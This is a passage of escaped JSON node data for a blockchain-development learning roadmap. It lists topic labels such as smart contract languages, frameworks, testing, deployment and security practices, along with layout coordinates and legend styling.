-226.6381872719934,\n        \"y\": 470.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JbgBwG6KmeTdyle9U6WAv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 36.3618127280065,\n        \"y\": 418.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hybrid Smart Contracts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 36.3618127280065,\n        \"y\": 418.2007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"omQOhNfMO09pBc7oy76Wo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 36.3618127280065,\n        \"y\": 471.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Chainlink\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"positionAbsolute\": {\n        \"x\": 36.3618127280065,\n        \"y\": 471.2007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CzfsAQIk3zIsDaDAorG9K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 36.3618127280065,\n        \"y\": 524.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Oracle Networks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 36.3618127280065,\n        \"y\": 524.2007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BV6lEwCAKaYxSPWD0LV_d\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -251.6381872719934,\n        \"y\": 656.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Smart Contracts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KRtEN0845lV5e85SOi6oZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -251.6381872719934,\n        \"y\": 656.7007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"chaIKoE1uE8rpZLkDSfV-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 45.8618127280065,\n        \"y\": 610.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Solidity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 45.8618127280065,\n        \"y\": 610.400748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jgHa_LeCac0pl6dSADizF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 149.8618127280065,\n        \"y\": 610.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vyper\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 105,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 105,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 149.8618127280065,\n        \"y\": 610.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Larbhjzi-MnPQKH1Pzn2R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 45.8618127280065,\n        \"y\": 663.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 45.8618127280065,\n        \"y\": 663.7007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L5jfyLSrgXk7seLr6DVWR\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 45.8618127280065,\n        \"y\": 718.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Programming Languages\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 45.8618127280065,\n        \"y\": 718.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"IXs4nUzy_A5vBjI_44kaT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 46.8618127280065,\n        \"y\": 830.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unit Tests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 46.8618127280065,\n        \"y\": 830.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QNfnbUGkT3N-pj5epnHcM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 46.8618127280065,\n        \"y\": 883.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Integration Tests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 46.8618127280065,\n        \"y\": 883.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4V-dj9x9hSAAGCxpBWsbE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 46.8618127280065,\n        \"y\": 936.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Code Coverage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 46.8618127280065,\n        \"y\": 936.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hiOVnV4V-QEgJiNnPjhU0\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 115.8618127280065,\n        \"y\": 988.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 73,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 115.8618127280065,\n        \"y\": 988.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 73,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"7goaYnedUlfgfl5qApoO2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1041.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deployment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1041.200748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H3jNM_0sJrB7ZbYzrVhF7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1094.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1094.200748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OotJnHgm622NQJc2WRI7c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1147.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Upgrades\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1147.200748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bjUuL7WALETzgFxL6-ivU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1200.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ERC Tokens\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1200.200748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SM8Wt3iNM_nncLj69KCuy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1253.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Crypto Wallets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1253.200748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lXukWXEatsF87EWFSYyOO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 36.36181272800661,\n        \"y\": 765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IDEs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 36.36181272800661,\n        \"y\": 765\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S68IUKs0k_FFHEH97xxs7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1306.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Crypto Faucets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1306.200748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tvk1Wh04BcFbAAwYWMx27\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1359.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decentralized Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.3618127280065,\n        \"y\": 1359.200748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KRtEN0845lV5e85SOi6oZ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -268.6381872719935,\n        \"y\": 880.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Smart Contract Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"positionAbsolute\": {\n        \"x\": -268.6381872719935,\n        \"y\": 880.2007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l110d4NqTQt9lfEoxqXMX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -268.6381872719935,\n        \"y\": 750.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hardhat\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -268.6381872719935,\n        \"y\": 750.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q64AbQlvYPiqJl8BtoJj9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -104.6381872719935,\n        \"y\": 748.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Brownie\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -104.6381872719935,\n        \"y\": 748.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vl9XHtc22HnqaCnF9yJv9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -268.6381872719935,\n        \"y\": 803.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Truffle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -268.6381872719935,\n        \"y\": 803.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"F1EUAxODBJ3GEoh7cqM-K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -104.6381872719935,\n        \"y\": 801.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Foundry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -104.6381872719935,\n        \"y\": 801.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"snQA5_4H2dDkT1pENgaYD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -268.6381872719935,\n        \"y\": 981.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bTdRKEiIUmu1pnp8UbJK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -268.6381872719935,\n        \"y\": 981.7007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UOF7Ep97i1l3Own6YEWlq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -651.1381872719935,\n        \"y\": 981.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 311,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -651.1381872719935,\n        \"y\": 981.7007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wypJdjTW4jHm9FCqv7Lhb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -642.1381872719935,\n        \"y\": 1038.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fuzz Testing & Static Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -642.1381872719935,\n        \"y\": 1038.700748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GxD-KybtmkwT3wqDzIfHp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -642.1381872719935,\n        \"y\": 1091.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Threat Vectors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -642.1381872719935,\n        \"y\": 1091.700748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f60P5RNNdgCbrhDDzkY25\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -642.1381872719935,\n        \"y\": 1144.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Source of Randomness Attacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -642.1381872719935,\n        \"y\": 1144.700748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n3pipnNb76aaQeUwrDLk_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.6381872719935,\n        \"y\": 981.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      